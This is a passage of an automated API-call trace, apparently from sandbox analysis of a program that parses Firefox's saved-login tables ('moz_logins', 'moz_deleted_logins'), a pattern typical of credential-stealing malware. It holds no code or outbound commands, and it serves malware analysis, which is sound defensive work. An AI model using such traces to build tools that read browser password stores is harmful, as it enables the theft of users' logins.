returned 0x0 [0047.965] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.965] IStream:LockRegion (This=0x76df40, libOffset=0x7c77, cb=0x0, dwLockType=0x0) returned 0x0 [0047.965] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.965] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0047.965] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76dfb8) returned 0x0 [0047.965] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.965] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.965] IStream:LockRegion (This=0x76df40, libOffset=0x7c78, cb=0x0, dwLockType=0x0) returned 0x0 [0047.966] IStream:SetSize (This=0x76df40, libNewSize=0x7d08c0) returned 0x0 [0047.966] IStream:Commit (This=0x76dfb8, grfCommitFlags=0x7d08c0) returned 0x0 [0047.966] LocalFree (hMem=0x7d08c0) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.966] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.966] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x716ef8 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0047.966] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0047.966] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0047.966] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0047.966] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0047.966] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0047.966] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.966] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x73cc70 [0047.966] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7175a0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0047.966] IStream:SetSize (This=0x76dfb8, libNewSize=0x7175a0) returned 0x0 [0047.966] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x74d860 [0047.966] LocalFree (hMem=0x7175a0) returned 0x0 [0047.966] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74fba8 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0047.966] IStream:SetSize (This=0x76dfb8, libNewSize=0x74fba8) returned 0x0 [0047.966] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x7588c8 [0047.966] LocalFree (hMem=0x74fba8) returned 0x0 [0047.966] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74fba8 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x1e, cb=0x0, dwLockType=0x0) returned 0x0 [0047.966] IStream:SetSize (This=0x76dfb8, libNewSize=0x74fba8) returned 0x0 [0047.966] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x758820 [0047.966] LocalFree (hMem=0x74fba8) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x30, cb=0x0, dwLockType=0x0) returned 0x0 [0047.966] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8bf) returned 0x0 [0047.966] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x74fba8 [0047.966] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x74fc40 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.966] IStream:LockRegion (This=0x76dfb8, libOffset=0x31, cb=0x0, dwLockType=0x0) returned 0x0 [0047.967] IStream:SetSize (This=0x76dfb8, libNewSize=0x74fc40) returned 0x0 [0047.967] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x74fd48 [0047.967] LocalFree (hMem=0x74fc40) returned 0x0 [0047.967] LocalFree (hMem=0x716ef8) returned 0x0 [0047.967] IUnknown:Release (This=0x76dfb8) returned 0x0 [0047.967] lstrcmpiA (lpString1="moz_deleted_logins", lpString2="moz_logins") returned -1 [0047.967] LocalFree (hMem=0x74d860) returned 0x0 [0047.967] LocalFree (hMem=0x7588c8) returned 0x0 [0047.967] LocalFree (hMem=0x758820) returned 0x0 [0047.967] LocalFree (hMem=0x74fba8) returned 0x0 [0047.967] LocalFree (hMem=0x74fd48) returned 0x0 [0047.967] LocalFree (hMem=0x73cc70) returned 0x0 [0047.967] IStream:LockRegion (This=0x76df40, libOffset=0x7c05, cb=0x0, dwLockType=0x0) returned 0x0 [0047.967] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.967] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.967] IStream:LockRegion (This=0x76df40, libOffset=0x7c05, cb=0x0, dwLockType=0x0) returned 0x0 [0047.967] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.967] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.967] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.967] IStream:LockRegion (This=0x76df40, libOffset=0x7c06, cb=0x0, dwLockType=0x0) returned 0x0 [0047.967] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.967] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0047.967] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76dfb8) returned 0x0 [0047.967] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.967] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.967] IStream:LockRegion (This=0x76df40, libOffset=0x7c07, cb=0x0, dwLockType=0x0) returned 0x0 [0047.967] IStream:SetSize (This=0x76df40, libNewSize=0x7d08c0) returned 0x0 [0047.967] IStream:Commit (This=0x76dfb8, grfCommitFlags=0x7d08c0) returned 0x0 [0047.967] LocalFree (hMem=0x7d08c0) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.967] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.967] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x716ef8 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0047.967] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0047.967] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0047.967] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0047.967] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0047.967] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.967] IStream:LockRegion (This=0x76dfb8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0047.967] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.968] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x721848 [0047.968] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7175a0 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0047.968] IStream:SetSize (This=0x76dfb8, libNewSize=0x7175a0) returned 0x0 [0047.968] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x73cc70 [0047.968] LocalFree (hMem=0x7175a0) returned 0x0 [0047.968] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0047.968] IStream:SetSize (This=0x76dfb8, libNewSize=0x758820) returned 0x0 [0047.968] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x7548d0 [0047.968] LocalFree (hMem=0x758820) returned 0x0 [0047.968] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x74d860 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x25, cb=0x0, dwLockType=0x0) returned 0x0 [0047.968] IStream:SetSize (This=0x76dfb8, libNewSize=0x74d860) returned 0x0 [0047.968] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74fba8 [0047.968] LocalFree (hMem=0x74d860) returned 0x0 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0047.968] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8bf) returned 0x0 [0047.968] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x74d860 [0047.968] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a800 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.968] IStream:LockRegion (This=0x76dfb8, libOffset=0x30, cb=0x0, dwLockType=0x0) returned 0x0 [0047.968] IStream:SetSize (This=0x76dfb8, libNewSize=0x74a800) returned 0x0 [0047.968] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x74fc48 [0047.968] LocalFree (hMem=0x74a800) returned 0x0 [0047.968] LocalFree (hMem=0x716ef8) returned 0x0 [0047.968] IUnknown:Release (This=0x76dfb8) returned 0x0 [0047.968] lstrcmpiA (lpString1="moz_logins", lpString2="moz_logins") returned 0 [0047.968] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0047.968] LocalFree (hMem=0x73cc70) returned 0x0 [0047.968] LocalFree (hMem=0x7548d0) returned 0x0 [0047.968] LocalFree (hMem=0x74fba8) returned 0x0 [0047.968] LocalFree (hMem=0x74d860) returned 0x0 [0047.968] LocalFree (hMem=0x74fc48) returned 0x0 [0047.968] LocalFree (hMem=0x721848) returned 0x0 [0047.968] IStream:LockRegion (This=0x76df40, libOffset=0x7b69, cb=0x0, dwLockType=0x0) returned 0x0 [0047.968] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.968] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.968] IStream:LockRegion (This=0x76df40, libOffset=0x7b69, cb=0x0, dwLockType=0x0) returned 0x0 [0047.968] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.968] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.968] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.968] IStream:LockRegion (This=0x76df40, libOffset=0x7b6a, cb=0x0, dwLockType=0x0) returned 0x0 [0047.968] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.968] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.968] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.968] IStream:LockRegion (This=0x76df40, libOffset=0x7b6b, cb=0x0, dwLockType=0x0) returned 0x0 [0047.968] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.968] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0047.968] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76dfb8) returned 0x0 [0047.968] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.969] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.969] IStream:LockRegion (This=0x76df40, libOffset=0x7b6c, cb=0x0, dwLockType=0x0) returned 0x0 [0047.969] IStream:SetSize (This=0x76df40, libNewSize=0x7d08c0) returned 0x0 [0047.969] IStream:Commit (This=0x76dfb8, grfCommitFlags=0x7d08c0) returned 0x0 [0047.969] LocalFree (hMem=0x7d08c0) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.969] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.969] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x721848 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0047.969] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0047.969] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0047.969] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0047.969] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0047.969] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0047.969] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.969] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x73cc70 [0047.969] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7175a0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0047.969] IStream:SetSize (This=0x76dfb8, libNewSize=0x7175a0) returned 0x0 [0047.969] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x74d860 [0047.969] LocalFree (hMem=0x7175a0) returned 0x0 [0047.969] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0047.969] IStream:SetSize (This=0x76dfb8, libNewSize=0x7548d0) returned 0x0 [0047.969] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x750820 [0047.969] LocalFree (hMem=0x7548d0) returned 0x0 [0047.969] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x74fba8 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x33, cb=0x0, dwLockType=0x0) returned 0x0 [0047.969] IStream:SetSize (This=0x76dfb8, libNewSize=0x74fba8) returned 0x0 [0047.969] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74fc40 [0047.969] LocalFree (hMem=0x74fba8) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.969] IStream:LockRegion (This=0x76dfb8, libOffset=0x3d, cb=0x0, dwLockType=0x0) returned 0x0 [0047.969] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8bf) returned 0x0 [0047.969] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x74fba8 [0047.970] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x74fce0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x3e, cb=0x0, dwLockType=0x0) returned 0x0 [0047.970] IStream:SetSize (This=0x76dfb8, libNewSize=0x74fce0) returned 0x0 [0047.970] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x74da88 [0047.970] LocalFree (hMem=0x74fce0) returned 0x0 [0047.970] LocalFree (hMem=0x721848) returned 0x0 [0047.970] IUnknown:Release (This=0x76dfb8) returned 0x0 [0047.970] lstrcmpiA (lpString1="moz_logins", lpString2="moz_logins") returned 0 [0047.970] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0047.970] LocalFree (hMem=0x74d860) returned 0x0 [0047.970] LocalFree (hMem=0x750820) returned 0x0 [0047.970] LocalFree (hMem=0x74fc40) returned 0x0 [0047.970] LocalFree (hMem=0x74fba8) returned 0x0 [0047.970] LocalFree (hMem=0x74da88) returned 0x0 [0047.970] LocalFree (hMem=0x73cc70) returned 0x0 [0047.970] IStream:LockRegion (This=0x76df40, libOffset=0x7ad9, cb=0x0, dwLockType=0x0) returned 0x0 [0047.970] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.970] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.970] IStream:LockRegion (This=0x76df40, libOffset=0x7ad9, cb=0x0, dwLockType=0x0) returned 0x0 [0047.970] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.970] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.970] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.970] IStream:LockRegion (This=0x76df40, libOffset=0x7ada, cb=0x0, dwLockType=0x0) returned 0x0 [0047.970] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.970] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.970] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.970] IStream:LockRegion (This=0x76df40, libOffset=0x7adb, cb=0x0, dwLockType=0x0) returned 0x0 [0047.970] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.970] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0047.970] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76dfb8) returned 0x0 [0047.970] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.970] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.970] IStream:LockRegion (This=0x76df40, libOffset=0x7adc, cb=0x0, dwLockType=0x0) returned 0x0 [0047.970] IStream:SetSize (This=0x76df40, libNewSize=0x7d08c0) returned 0x0 [0047.970] IStream:Commit (This=0x76dfb8, grfCommitFlags=0x7d08c0) returned 0x0 [0047.970] LocalFree (hMem=0x7d08c0) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.970] 